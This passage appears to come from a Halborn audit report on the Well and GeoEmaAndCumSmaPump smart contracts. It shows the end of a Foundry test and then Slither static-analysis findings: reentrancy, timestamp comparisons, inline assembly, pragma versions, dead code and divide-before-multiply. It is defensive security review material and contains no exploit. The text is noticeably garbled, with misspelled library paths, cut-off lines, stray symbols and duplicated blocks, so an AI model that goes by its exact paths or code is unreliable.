776         lastInstRes = thePump.readLastInstantaneousReserves(wellAddress);
777
778         _consoleLogReserves(2, true, true, false, false, false);
779
780         if (x1 > x↑) { assertGe(lastRes[0], lastInstRes[0]); }
781         else { assertGe(lastInstRes[0], lastRes[0]); }
782         if (y1 > y↑) { assertGe(lastRes[1], lastInstRes[1]); }
783         else { assertGe(lastInstRes[1], lastRes[1]); }
784
785         vm.stopPrank();
786     }
787 }

```



AUTOMATED TESTING

6.1 STATIC ANALYSIS REPORT

Description:

Halborn used automated testing techniques to enhance the coverage of certain areas of the scoped contracts. Among the tools used was Slither, a Solidity static analysis framework. After Halborn verified all the contracts in the repository and was able to compile them correctly into their ABI and binary formats, Slither was run on the all-scoped contracts. This tool can statically verify mathematical relationships between Solidity variables to detect invalid or inconsistent usage of the contracts' ABIs across the entire code-base.


```

    - _totalSupply += amount (lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol#264)
Reentrancy in Well.removeLiquidity(uint256,uint256[],address) (src/Well.sol#300-323):
  External calls:
  - reserves = _updatePumps(_tokens.length) (src/Well.sol#306)
    - IPump(firstPumpTarget()).update(reserves,firstPumpBytes()) (src/Well.sol#486)
    - IPump(_pumps[i].target).update(reserves,_pumps[i].data) (src/Well.sol#490)
  State variables written after the call(s):
  - _burn(msg.sender,lpAmountIn) (src/Well.sol#310)
    - _balances[account] = accountBalance - amount (lib/openzeppelin-contracts/contracts/token/ERC20/ERC
  - _burn(msg.sender,lpAmountIn) (src/Well.sol#310)
    - _totalSupply -= amount (lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol#295)
Reentrancy in Well.removeLiquidityImbalanced(uint256,uint256[],address) (src/Well.sol#417-435):
  External calls:
  - reserves = _updatePumps(_tokens.length) (src/Well.sol#423)
    - IPump(firstPumpTarget()).update(reserves,firstPumpBytes()) (src/Well.sol#486)
    - IPump(_pumps[i].target).update(reserves,_pumps[i].data) (src/Well.sol#490)
  - _tokens[i].safeTransfer(recipient,tokenAmountsOut[i]) (src/Well.sol#426)
  State variables written after the call(s):
  - _burn(msg.sender,lpAmountIn) (src/Well.sol#431)
    - _balances[account] = accountBalance - amount (lib/openzeppelin-contracts/contracts/token/ERC20/ERC
  - _burn(msg.sender,lpAmountIn) (src/Well.sol#431)
    - _totalSupply -= amount (lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol#295)
Reentrancy in Well.removeLiquidityOneToken(uint256,IERC20,uint256,address) (src/Well.sol#348-370):
  External calls:
  - reserves = _updatePumps(_tokens.length) (src/Well.sol#355)
    - IPump(firstPumpTarget()).update(reserves,firstPumpBytes()) (src/Well.sol#486)
    - IPump(_pumps[i].target).update(reserves,_pumps[i].data) (src/Well.sol#490)
  State variables written after the call(s):
  - _burn(msg.sender,lpAmountIn) (src/Well.sol#364)
    - _balances[account] = accountBalance - amount (lib/openzeppelin-contracts/contracts/token/ERC20/ERC
  - _burn(msg.sender,lpAmountIn) (src/Well.sol#364)
    - _totalSupply -= amount (lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol#295)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#reentrancy-vulnerabilities-2

ERC20Permit.permit(address,address,uint256,uint256,uint8,bytes32,bytes32) (lib/openzeppelin-contracts/contracts/tok
  Dangerous comparisons:
  - require(bool,string)(block.timestamp <= deadline,ERC20Permit: expired deadline) (lib/openzeppelin-contract
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#block-timestamp

Address._revert(bytes,string) (lib/openzeppelin-contracts/contracts/utils/Address.sol#231-243) uses assembly
  - INLINE ASM (lib/openzeppelin-contracts/contracts/utils/Address.sol#236-239)
Strings.toString(uint256) (lib/openzeppelin-contracts/contracts/utils/Strings.sol#18-38) uses assembly
  - INLINE ASM (lib/openzeppelin-contracts/contracts/utils/Strings.sol#24-26)
  - INLINE ASM (lib/openzeppelin-contracts/contracts/utils/Strings.sol#30-32)
ECDSA.tryRecover(bytes32,bytes) (lib/openzeppelin-contracts/contracts/utils/cryptography/ECDSA.sol#55-72) uses assem
  - INLINE ASM (lib/openzeppelin-contracts/contracts/utils/cryptography/ECDSA.sol#63-67)
Math.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#55-135) uses assembly
  - INLINE ASM (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#66-70)
  - INLINE ASM (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#86-93)
  - INLINE ASM (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#100-109)
LibBytes.getBytes32FromBytes(bytes,uint256) (src/libraries/LibBytes.sol#16-25) uses assembly
  - INLINE ASM (src/libraries/LibBytes.sol#21-23)
LibBytes.storeUint128(bytes32,uint256[]) (src/libraries/LibBytes.sol#32-84) uses assembly
  - INLINE ASM (src/libraries/LibBytes.sol#38-47)
  - INLINE ASM (src/libraries/LibBytes.sol#55-66)
  - INLINE ASM (src/libraries/LibBytes.sol#73-81)
LibBytes.readUint128(bytes32,uint256) (src/libraries/LibBytes.sol#89-125) uses assembly
  - INLINE ASM (src/libraries/LibBytes.sol#95-98)
  - INLINE ASM (src/libraries/LibBytes.sol#109-115)
  - INLINE ASM (src/libraries/LibBytes.sol#117-122)
ImmutablePumps.firstPumpBytes() (src/utils/ImmutablePumps.sol#218-253) uses assembly
  - INLINE ASM (src/utils/ImmutablePumps.sol#223)
  - INLINE ASM (src/utils/ImmutablePumps.sol#226)
  - INLINE ASM (src/utils/ImmutablePumps.sol#229)
  - INLINE ASM (src/utils/ImmutablePumps.sol#232)
ImmutablePumps.pumps() (src/utils/ImmutablePumps.sol#261-509) uses assembly
  - INLINE ASM (src/utils/ImmutablePumps.sol#276)
  - INLINE ASM (src/utils/ImmutablePumps.sol#279)
  - INLINE ASM (src/utils/ImmutablePumps.sol#282)

```

```

- INLINE ASM (src/Utils/ImmutablePumps.sol#316)
- INLINE ASM (src/Utils/ImmutablePumps.sol#319)
- INLINE ASM (src/Utils/ImmutablePumps.sol#322)
- INLINE ASM (src/Utils/ImmutablePumps.sol#325)
- INLINE ASM (src/Utils/ImmutablePumps.sol#356)
- INLINE ASM (src/Utils/ImmutablePumps.sol#359)
- INLINE ASM (src/Utils/ImmutablePumps.sol#362)
- INLINE ASM (src/Utils/ImmutablePumps.sol#365)
- INLINE ASM (src/Utils/ImmutablePumps.sol#396)
- INLINE ASM (src/Utils/ImmutablePumps.sol#399)
- INLINE ASM (src/Utils/ImmutablePumps.sol#402)
- INLINE ASM (src/Utils/ImmutablePumps.sol#405)
ImmutableWellFunction.wellFunctionBytes() (src/Utils/ImmutableWellFunction.sol#111-245) uses assembly
- INLINE ASM (src/Utils/ImmutableWellFunction.sol#119)
- INLINE ASM (src/Utils/ImmutableWellFunction.sol#123)
- INLINE ASM (src/Utils/ImmutableWellFunction.sol#127)
- INLINE ASM (src/Utils/ImmutableWellFunction.sol#131)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#assembly-usage

```

```

Different versions of Solidity are used:
- Version used: ['^0.8.17', '^0.8.0', '^0.8.1', '^0.8.17']
- =0.8.17 (src/interfaces/IPump.sol#5)
- ABIEncoderV2 (src/interfaces/IPump.sol#6)
- ABIEncoderV2 (src/interfaces/IWellFunction.sol#6)
- ^0.8.0 (lib/OpZeppelin-Contracts/Contracts/Security/ReentrancyGuard.sol#4)
- ^0.8.0 (lib/OpZeppelin-Contracts/Contracts/Contracts/Token/ERC20/ERC20.sol#4)
- ^0.8.0 (lib/OpZeppelin-Contracts/Contracts/Contracts/Token/ERC20/IERC20.sol#4)
- ^0.8.0 (lib/OpZeppelin-Contracts/Contracts/Contracts/Token/ERC20/extensions/IERC20Metadata.sol#4)
- ^0.8.0 (lib/OpZeppelin-Contracts/Contracts/Contracts/Token/ERC20/extensions/draft-ERC20Permit.sol#4)
- ^0.8.0 (lib/OpZeppelin-Contracts/Contracts/Contracts/Token/ERC20/extensions/draft-IERC20Permit.sol#4)
- ^0.8.0 (lib/OpZeppelin-Contracts/Contracts/Contracts/Token/ERC20/Utils/SafeERC20.sol#4)
- ^0.8.0 (lib/OpZeppelin-Contracts/Contracts/Contracts/Utils/Context.sol#4)
- ^0.8.0 (lib/OpZeppelin-Contracts/Contracts/Contracts/Utils/Counters.sol#4)
- ^0.8.0 (lib/OpZeppelin-Contracts/Contracts/Contracts/Utils/Strings.sol#4)
- ^0.8.0 (lib/OpZeppelin-Contracts/Contracts/Contracts/Utils/Cryptography/ECDSA.sol#4)
- ^0.8.0 (lib/OpZeppelin-Contracts/Contracts/Contracts/Utils/Cryptography/EIP712.sol#4)
- ^0.8.0 (lib/OpZeppelin-Contracts/Contracts/Contracts/Utils/Math/Math.sol#4)
- ^0.8.1 (lib/OpZeppelin-Contracts/Contracts/Contracts/Utils/Address.sol#4)
- ^0.8.17 (src/Well.sol#5)
- ^0.8.17 (src/interfaces/IWell.sol#5)
- ^0.8.17 (src/interfaces/IWellFunction.sol#5)
- ^0.8.17 (src/Libraries/LibBytes.sol#5)
- ^0.8.17 (src/Utils/ImmutablePumps.sol#5)
- ^0.8.17 (src/Utils/ImmutableTokens.sol#5)
- ^0.8.17 (src/Utils/ImmutableWellFunction.sol#5)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#different-pragma-directives-are-used

```

```

Address.functionCall(address,bytes) (lib/OpZeppelin-Contracts/Contracts/Utils/Address.sol#85-87) is never used and
Address.functionCallWithValue(address,bytes,uint256) (lib/OpZeppelin-Contracts/Contracts/Utils/Address.sol#114-1
Address.functionDelegateCall(address,bytes) (lib/OpZeppelin-Contracts/Contracts/Utils/Address.sol#170-172) is ne
Address.functionDelegateCall(address,bytes,string) (lib/OpZeppelin-Contracts/Contracts/Utils/Address.sol#180-187
Address.functionStaticCall(address,bytes) (lib/OpZeppelin-Contracts/Contracts/Utils/Address.sol#145-147) is neve
Address.functionStaticCall(address,bytes,string) (lib/OpZeppelin-Contracts/Contracts/Utils/Address.sol#155-162)
Address.sendValue(address,uint256) (lib/OpZeppelin-Contracts/Contracts/Utils/Address.sol#60-65) is never used an
Address.verifyCallResult(bool,bytes,string) (lib/OpZeppelin-Contracts/Contracts/Utils/Address.sol#219-229) is ne
Context._msgData() (lib/OpZeppelin-Contracts/Contracts/Utils/Context.sol#21-23) is never used and should be remo
Counters.decrement(Counters.Counter) (lib/OpZeppelin-Contracts/Contracts/Utils/Counters.sol#32-38) is never used
Counters.reset(Counters.Counter) (lib/OpZeppelin-Contracts/Contracts/Utils/Counters.sol#40-42) is never used and
ECDSA.recover(bytes32,bytes) (lib/OpZeppelin-Contracts/Contracts/Utils/Cryptography/ECDSA.sol#88-92) is never us
ECDSA.recover(bytes32,bytes32,bytes32) (lib/OpZeppelin-Contracts/Contracts/Utils/Cryptography/ECDSA.sol#116-124)
ECDSA.toEthSignedMessageHash(bytes) (lib/OpZeppelin-Contracts/Contracts/Utils/Cryptography/ECDSA.sol#197-199) is
ECDSA.toEthSignedMessageHash(bytes32) (lib/OpZeppelin-Contracts/Contracts/Utils/Cryptography/ECDSA.sol#183-187)
ECDSA.tryRecover(bytes32,bytes) (lib/OpZeppelin-Contracts/Contracts/Utils/Cryptography/ECDSA.sol#55-72) is never
ECDSA.tryRecover(bytes32,bytes32,bytes32) (lib/OpZeppelin-Contracts/Contracts/Utils/Cryptography/ECDSA.sol#101-1
Math.average(uint256,uint256) (lib/OpZeppelin-Contracts/Contracts/Utils/Math/Math.sol#34-37) is never used and si
Math.ceilDiv(uint256,uint256) (lib/OpZeppelin-Contracts/Contracts/Utils/Math/Math.sol#45-48) is never used and si

```

Math.log10(uint256) (lib/ozepzppelin-contracts/contracts/utis/math/Math.sol#258-290) is never used and should be re
 Math.log10(uint256,Math.Rounding) (lib/ozepzppelin-contracts/contracts/utis/math/Math.sol#296-301) is never used c
 Math.log2(uint256) (lib/ozepzppelin-contracts/contracts/utis/math/Math.sol#205-241) is never used and should be re
 Math.log2(uint256,Math.Rounding) (lib/ozepzppelin-contracts/contracts/utis/math/Math.sol#247-252) is never used ar
 Math.log256(uint256) (lib/ozepzppelin-contracts/contracts/utis/math/Math.sol#309-333) is never used and should be
 Math.log256(uint256,Math.Rounding) (lib/ozepzppelin-contracts/contracts/utis/math/Math.sol#339-344) is never used
 Math.max(uint256,uint256) (lib/ozepzppelin-contracts/contracts/utis/math/Math.sol#19-21) is never used and should
 Math.min(uint256,uint256) (lib/ozepzppelin-contracts/contracts/utis/math/Math.sol#158-189) is never used and should
 Math.mulDiv(uint256,uint256,uint256) (lib/ozepzppelin-contracts/contracts/utis/math/Math.sol#55-135) is never usec
 Math.mulDiv(uint256,uint256,uint256,Math.Rounding) (lib/ozepzppelin-contracts/contracts/utis/math/Math.sol#140-151
 Math.sqrt(uint256) (lib/ozepzppelin-contracts/contracts/utis/math/Math.sol#158-189) is never used and should be re
 Math.sqrt(uint256,Math.Rounding) (lib/ozepzppelin-contracts/contracts/utis/math/Math.sol#194-199) is never used ar
 SafeERC20.safeApprove(IERC20,address,uint256) (lib/ozepzppelin-contracts/contracts/token/ERC20/utis/SafeERC20.sol#
 SafeERC20.safeDecreaseAllowance(IERC20,address,uint256) (lib/ozepzppelin-contracts/contracts/token/ERC20/utis/Safe
 SafeERC20.safeIncreaseAllowance(IERC20,address,uint256) (lib/ozepzppelin-contracts/contracts/token/ERC20/utis/Safe
 SafeERC20.safePermit(IERC20Permit,address,address,uint256,uint256,uint8,bytes32,bytes32) (lib/ozepzppelin-contracts
 Strings.toHexString(address) (lib/ozepzppelin-contracts/contracts/utis/Strings.sol#67-69) is never used and shoulc
 Strings.toHexString(uint256) (lib/ozepzppelin-contracts/contracts/utis/Strings.sol#43-47) is never used and shoulc
 Strings.toHexString(uint256) (lib/ozepzppelin-contracts/contracts/utis/Strings.sol#52-62) is never used ar
 Strings.toString(uint256) (lib/ozepzppelin-contracts/contracts/utis/Strings.sol#18-38) is never used and should be
 Reference: <https://github.com/crytic/slither/wiki/Detector-Documentation#dead-code>

Pragma version^0.8.0 (lib/ozepzppelin-contracts/contracts/security/ReentrancyGuard.sol#4) allows old versions
 Pragma version^0.8.0 (lib/ozepzppelin-contracts/contracts/token/ERC20/ERC20.sol#4) allows old versions
 Pragma version^0.8.0 (lib/ozepzppelin-contracts/contracts/token/ERC20/IERC20.sol#4) allows old versions
 Pragma version^0.8.0 (lib/ozepzppelin-contracts/contracts/token/ERC20/extensions/IERC20Metadata.sol#4) allows old v
 Pragma version^0.8.0 (lib/ozepzppelin-contracts/contracts/token/ERC20/extensions/draft-ERC20Permit.sol#4) allows ol
 Pragma version^0.8.0 (lib/ozepzppelin-contracts/contracts/token/ERC20/extensions/draft-IERC20Permit.sol#4) allows c
 Pragma version^0.8.0 (lib/ozepzppelin-contracts/contracts/token/ERC20/utis/SafeERC20.sol#4) allows old versions
 Pragma version^0.8.1 (lib/ozepzppelin-contracts/contracts/utis/Address.sol#4) allows old versions
 Pragma version^0.8.0 (lib/ozepzppelin-contracts/contracts/utis/Context.sol#4) allows old versions
 Pragma version^0.8.0 (lib/ozepzppelin-contracts/contracts/utis/Counters.sol#4) allows old versions
 Pragma version^0.8.0 (lib/ozepzppelin-contracts/contracts/utis/Strings.sol#4) allows old versions
 Pragma version^0.8.0 (lib/ozepzppelin-contracts/contracts/utis/cryptography/ECDsa.sol#4) allows old versions
 Pragma version^0.8.0 (lib/ozepzppelin-contracts/contracts/utis/math/Math.sol#4) allows old versions
 Pragma version^0.8.17 (src/Well.sol#5) necessitates a version too recent to be trusted. Consider deploying with 0.6.
 Pragma version=0.8.17 (src/interfaces/IPump.sol#5) necessitates a version too recent to be trusted. Consider deployi
 Pragma version^0.8.17 (src/interfaces/IWell.sol#5) necessitates a version too recent to be trusted. Consider deployi
 Pragma version^0.8.17 (src/interfaces/IWellFunction.sol#5) necessitates a version too recent to be trusted. Consider
 Pragma version^0.8.17 (src/libraries/LibBytes.sol#5) necessitates a version too recent to be trusted. Consider deplc
 Pragma version^0.8.17 (src/utis/ImmutablePumps.sol#5) necessitates a version too recent to be trusted. Consider dep
 Pragma version^0.8.17 (src/utis/ImmutableTokens.sol#5) necessitates a version too recent to be trusted. Consider de
 Pragma version^0.8.17 (src/utis/ImmutableWellFunction.sol#5) necessitates a version too recent to be trusted. Consi
 solc-0.8.17 is not recommended for deployment
 Reference: <https://github.com/crytic/slither/wiki/Detector-Documentation#incorrect-versions-of-solidity>

Low level call in Address.sendValue(address,uint256) (lib/ozepzppelin-contracts/contracts/utis/Address.sol#60-65):
 - (success) = recipient.call{value: amount}() (lib/ozepzppelin-contracts/contracts/utis/Address.sol#63)
 Low level call in Address.functionCallWithValue(address,bytes,uint256,string) (lib/ozepzppelin-contracts/contracts/
 - (success,returndata) = target.call{value: value}(data) (lib/ozepzppelin-contracts/contracts/utis/Address
 Low level call in Address.functionStaticCall(address,bytes,string) (lib/ozepzppelin-contracts/contracts/utis/Addre
 - (success,returndata) = target.staticcall(data) (lib/ozepzppelin-contracts/contracts/utis/Address.sol#160
 Low level call in Address.functionDelegateCall(address,bytes,string) (lib/ozepzppelin-contracts/contracts/utis/Adc
 - (success,returndata) = target.delegatecall(data) (lib/ozepzppelin-contracts/contracts/utis/Address.sol#1
 Reference: <https://github.com/crytic/slither/wiki/Detector-Documentation#low-level-calls>

Function ERC20Permit.DOMAIN_SEPARATOR() (lib/ozepzppelin-contracts/contracts/token/ERC20/extensions/draft-ERC20Pern
 Variable ERC20Permit._PERMIT_TYPEHASH_DEPRECATED_SLOT (lib/ozepzppelin-contracts/contracts/token/ERC20/extensions/c
 Function IERC20Permit.DOMAIN_SEPARATOR() (lib/ozepzppelin-contracts/contracts/token/ERC20/extensions/draft-IERC20Pe
 Variable EIP712._CACHED_DOMAIN_SEPARATOR (lib/ozepzppelin-contracts/contracts/utis/cryptography/EIP712.sol#31) is
 Variable EIP712._CACHED_CHAIN_ID (lib/ozepzppelin-contracts/contracts/utis/cryptography/EIP712.sol#32) is not in m
 Variable EIP712._CACHED_THIS (lib/ozepzppelin-contracts/contracts/utis/cryptography/EIP712.sol#33) is not in mixec
 Variable EIP712._HASHED_NAME (lib/ozepzppelin-contracts/contracts/utis/cryptography/EIP712.sol#35) is not in mixec

```

Variable EIP712._HASHED_VERSION (lib/ozepellin-contracts/contracts/utls/cryptography/EIP712.sol#36) is not in mi
Variable EIP712._TYPE_HASH (lib/ozepellin-contracts/contracts/utls/cryptography/EIP712.sol#37) is not in mixedCa
Variable Well.__auger (src/Well.sol#39) is not in mixedCase
Variable ImmutablePumps._bytes0_0 (src/utls/ImmutablePumps.sol#35) is not in mixedCase
Variable ImmutablePumps._bytes0_1 (src/utls/ImmutablePumps.sol#36) is not in mixedCase
Variable ImmutablePumps._bytes0_2 (src/utls/ImmutablePumps.sol#37) is not in mixedCase
Variable ImmutablePumps._bytes0_3 (src/utls/ImmutablePumps.sol#38) is not in mixedCase
Variable ImmutablePumps._bytes1_0 (src/utls/ImmutablePumps.sol#46) is not in mixedCase
Variable ImmutablePumps._bytes1_1 (src/utls/ImmutablePumps.sol#47) is not in mixedCase
Variable ImmutablePumps._bytes1_2 (src/utls/ImmutablePumps.sol#48) is not in mixedCase
Variable ImmutablePumps._bytes1_3 (src/utls/ImmutablePumps.sol#49) is not in mixedCase
Variable ImmutablePumps._bytes2_0 (src/utls/ImmutablePumps.sol#57) is not in mixedCase
Variable ImmutablePumps._bytes2_1 (src/utls/ImmutablePumps.sol#58) is not in mixedCase
Variable ImmutablePumps._bytes2_2 (src/utls/ImmutablePumps.sol#59) is not in mixedCase
Variable ImmutablePumps._bytes2_3 (src/utls/ImmutablePumps.sol#60) is not in mixedCase
Variable ImmutablePumps._bytes3_0 (src/utls/ImmutablePumps.sol#68) is not in mixedCase
Variable ImmutablePumps._bytes3_1 (src/utls/ImmutablePumps.sol#69) is not in mixedCase
Variable ImmutablePumps._bytes3_2 (src/utls/ImmutablePumps.sol#70) is not in mixedCase
Variable ImmutablePumps._bytes3_3 (src/utls/ImmutablePumps.sol#71) is not in mixedCase
Parameter ImmutableTokens.getTokenFromList(uint256,IERC20[])._tokens (src/utls/ImmutableTokens.sol#132) is not in m
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#conformance-to-solidity-naming-conventions

Redundant expression "j (src/Well.sol#589)" in Well (src/Well.sol#27-591)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#redundant-statements

Variable Well.swapTo(IERC20,IERC20,uint256,uint256,address).reserveIBefore (src/Well.sol#201) is too similar to Well
Variable ImmutablePumps.number0fBytes0 (src/utls/ImmutablePumps.sol#34) is too similar to ImmutablePumps.number0fBy
Variable ImmutablePumps.number0fBytes0 (src/utls/ImmutablePumps.sol#34) is too similar to ImmutablePumps.number0fBy
Variable ImmutablePumps.number0fBytes0 (src/utls/ImmutablePumps.sol#34) is too similar to ImmutablePumps.number0fBy
Variable ImmutablePumps.number0fBytes1 (src/utls/ImmutablePumps.sol#45) is too similar to ImmutablePumps.number0fBy
Variable ImmutablePumps.number0fBytes2 (src/utls/ImmutablePumps.sol#56) is too similar to ImmutablePumps.number0fBy
Variable ImmutablePumps.number0fBytes1 (src/utls/ImmutablePumps.sol#45) is too similar to ImmutablePumps.number0fBy
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#variable-names-too-similar

```

- **GeoEmaAndCumSmaPump.sol**

```

LibBytes16.storeBytes16(bytes32,bytes16[]) (src/libraries/LibBytes16.sol#19-49) performs a multiplication on the result of a divi
- maxI = reserves.length / 2 (src/libraries/LibBytes16.sol#26)
- iByte = maxI * 64 (src/libraries/LibBytes16.sol#40)
LibBytes16.storeBytes16(bytes32,bytes16[]) (src/libraries/LibBytes16.sol#19-49) performs a multiplication on the result of a divi
- maxI = reserves.length / 2 (src/libraries/LibBytes16.sol#26)
- sstore(uint256,uint256)(slot + maxI * 32,mload(uint256)(reserves + iByte + 32) + sload(uint256)(slot + maxI) >> 128) (sr
LibBytes16.readBytes16(bytes32,uint256) (src/libraries/LibBytes16.sol#54-87) performs a multiplication on the result of a divisor
- iByte = (i - 1) / 2 * 32 (src/libraries/LibBytes16.sol#72)
LibLastReserveBytes.storeLastReserves(bytes32,uint40,bytes16[]) (src/libraries/LibLastReserveBytes.sol#19-62) performs a multipli
- maxI = n / 2 (src/libraries/LibLastReserveBytes.sol#39)
- iByte = maxI * 64 (src/libraries/LibLastReserveBytes.sol#53)
LibLastReserveBytes.storeLastReserves(bytes32,uint40,bytes16[]) (src/libraries/LibLastReserveBytes.sol#19-62) performs a multipli
- maxI = n / 2 (src/libraries/LibLastReserveBytes.sol#39)
- sstore(uint256,uint256)(slot + maxI * 32,mload(uint256)(reserves + iByte + 32) + sload(uint256)(slot + maxI) << 128 >> 1
LibLastReserveBytes.readLastReserves(bytes32) (src/libraries/LibLastReserveBytes.sol#67-112) performs a multiplication on the res
- iByte = (i - 1) / 2 * 32 (src/libraries/LibLastReserveBytes.sol#96)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#divide-before-multiply

```

```

GeoEmaAndCumSmaPump._capReserve(bytes16,bytes16,bytes16) (src/pumps/GeoEmaAndCumSmaPump.sol#180-199) uses a dangerous strict equal
- minReserve.cmp(reserve) == 1 (src/pumps/GeoEmaAndCumSmaPump.sol#189)
GeoEmaAndCumSmaPump._capReserve(bytes16,bytes16,bytes16) (src/pumps/GeoEmaAndCumSmaPump.sol#180-199) uses a dangerous strict equal
- reserve.cmp(maxReserve) == 1 (src/pumps/GeoEmaAndCumSmaPump.sol#196)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#dangerous-strict-equalities

```

```

IWell.well().aquifer (src/interfaces/IWell.sol#157) shadows:
- IWell.aquifer() (src/interfaces/IWell.sol#144) (function)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#local-variable-shadowing

```

```

GeoEmaAndCumSmaPump._capReserve(bytes16,bytes16,bytes16) (src/pumps/GeoEmaAndCumSmaPump.sol#180-199) uses timestamp for comparis
Dangerous comparisons:
- minReserve.cmp(reserve) == 1 (src/pumps/GeoEmaAndCumSmaPump.sol#189)
- reserve.cmp(maxReserve) == 1 (src/pumps/GeoEmaAndCumSmaPump.sol#196)
GeoEmaAndCumSmaPump._readCumulativeReserves(address) (src/pumps/GeoEmaAndCumSmaPump.sol#259-276) uses timestamp for comparis
Dangerous comparisons:
- i < cumulativeReserves.length (src/pumps/GeoEmaAndCumSmaPump.sol#272)
GeoEmaAndCumSmaPump.readTwaReserves(address,bytes,uint256) (src/pumps/GeoEmaAndCumSmaPump.sol#278-296) uses timestamp for compari
Dangerous comparisons:
- require(bool,string)(deltaTimestamp != bytes16(0),Well: No time passed) (src/pumps/GeoEmaAndCumSmaPump.sol#289)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#block-timestamp

```

```

LibBytes16.storeBytes16(bytes32,bytes16[]) (src/libraries/LibBytes16.sol#19-49) uses assembly
- INLINE ASM (src/libraries/LibBytes16.sol#22-24)
- INLINE ASM (src/libraries/LibBytes16.sol#30-35)
- INLINE ASM (src/libraries/LibBytes16.sol#41-46)
LibBytes16.readBytes16(bytes32,uint256) (src/libraries/LibBytes16.sol#54-87) uses assembly
- INLINE ASM (src/libraries/LibBytes16.sol#60-63)
- INLINE ASM (src/libraries/LibBytes16.sol#74-80)
- INLINE ASM (src/libraries/LibBytes16.sol#82-84)
LibLastReserveBytes.readN(bytes32) (src/libraries/LibLastReserveBytes.sol#13-17) uses assembly
- INLINE ASM (src/libraries/LibLastReserveBytes.sol#14-16)
LibLastReserveBytes.storeLastReserves(bytes32,uint40,bytes16[]) (src/libraries/LibLastReserveBytes.sol#19-62) uses assembly
- INLINE ASM (src/libraries/LibLastReserveBytes.sol#23-25)
- INLINE ASM (src/libraries/LibLastReserveBytes.sol#28-37)
- INLINE ASM (src/libraries/LibLastReserveBytes.sol#43-48)
- INLINE ASM (src/libraries/LibLastReserveBytes.sol#54-59)
LibLastReserveBytes.readLastReserves(bytes32) (src/libraries/LibLastReserveBytes.sol#67-112) uses assembly
- INLINE ASM (src/libraries/LibLastReserveBytes.sol#74-78)
- INLINE ASM (src/libraries/LibLastReserveBytes.sol#82-84)
- INLINE ASM (src/libraries/LibLastReserveBytes.sol#86-88)
- INLINE ASM (src/libraries/LibLastReserveBytes.sol#98-104)
- INLINE ASM (src/libraries/LibLastReserveBytes.sol#106-108)
LibLastReserveBytes.readBytes(bytes32) (src/libraries/LibLastReserveBytes.sol#114-118) uses assembly
- INLINE ASM (src/libraries/LibLastReserveBytes.sol#115-117)
GeoEmaAndCumSmaPump.update(uint256[],bytes) (src/pumps/GeoEmaAndCumSmaPump.sol#63-124) uses assembly
- INLINE ASM (src/pumps/GeoEmaAndCumSmaPump.sol#82-84)
- INLINE ASM (src/pumps/GeoEmaAndCumSmaPump.sol#86-88)

```

LibBytes16.storeBytes16(bytes32,bytes16[]) (src/libraries/LibBytes16.sol#19-49) performs a multiplication on the result of a division:
 - `maxI = reserves.length / 2` (src/libraries/LibBytes16.sol#26)
 - `iByte = maxI * 64` (src/libraries/LibBytes16.sol#40)
 LibBytes16.storeBytes16(bytes32,bytes16[]) (src/libraries/LibBytes16.sol#19-49) performs a multiplication on the result of a division:
 - `maxI = reserves.length / 2` (src/libraries/LibBytes16.sol#26)
 - `sstore(uint256,uint256)(slot + maxI * 32,mload(uint256)(reserves + iByte + 32) + load(uint256)(slot + maxI) >> 128)` (src/libraries/LibBytes16.sol#54-87) performs a multiplication on the result of a division:
 - `iByte = (i - 1) / 2 * 32` (src/libraries/LibBytes16.sol#72)
 LibLastReserveBytes.storeLastReserves(bytes32,uint40,bytes16[]) (src/libraries/LibLastReserveBytes.sol#19-62) performs a multiplication:
 - `maxI = n / 2` (src/libraries/LibLastReserveBytes.sol#39)
 - `iByte = maxI * 64` (src/libraries/LibLastReserveBytes.sol#53)
 LibLastReserveBytes.storeLastReserves(bytes32,uint40,bytes16[]) (src/libraries/LibLastReserveBytes.sol#19-62) performs a multiplication:
 - `maxI = n / 2` (src/libraries/LibLastReserveBytes.sol#39)
 - `sstore(uint256,uint256)(slot + maxI * 32,mload(uint256)(reserves + iByte + 32) + load(uint256)(slot + maxI) << 128 >> 1)`
 LibLastReserveBytes.readLastReserves(bytes32) (src/libraries/LibLastReserveBytes.sol#67-112) performs a multiplication on the result:
 - `iByte = (i - 1) / 2 * 32` (src/libraries/LibLastReserveBytes.sol#96)
 Reference: <https://github.com/crytic/slither/wiki/Detector-Documentation#divide-before-multiply>

GeoEmaAndCumSmaPump._capReserve(bytes16,bytes16,bytes16) (src/pumps/GeoEmaAndCumSmaPump.sol#180-199) uses a dangerous strict equality:
 - `minReserve.cmp(reserve) == 1` (src/pumps/GeoEmaAndCumSmaPump.sol#189)
 GeoEmaAndCumSmaPump._capReserve(bytes16,bytes16,bytes16) (src/pumps/GeoEmaAndCumSmaPump.sol#180-199) uses a dangerous strict equality:
 - `reserve.cmp(maxReserve) == 1` (src/pumps/GeoEmaAndCumSmaPump.sol#196)
 Reference: <https://github.com/crytic/slither/wiki/Detector-Documentation#dangerous-strict-equalities>

IWell.well().aquifer (src/interfaces/IWell.sol#157) shadows:
 - `IWell.aquifer()` (src/interfaces/IWell.sol#144) (function)
 Reference: <https://github.com/crytic/slither/wiki/Detector-Documentation#local-variable-shadowing>

GeoEmaAndCumSmaPump._capReserve(bytes16,bytes16,bytes16) (src/pumps/GeoEmaAndCumSmaPump.sol#180-199) uses timestamp for comparison:
 Dangerous comparisons:
 - `minReserve.cmp(reserve) == 1` (src/pumps/GeoEmaAndCumSmaPump.sol#189)
 - `reserve.cmp(maxReserve) == 1` (src/pumps/GeoEmaAndCumSmaPump.sol#196)
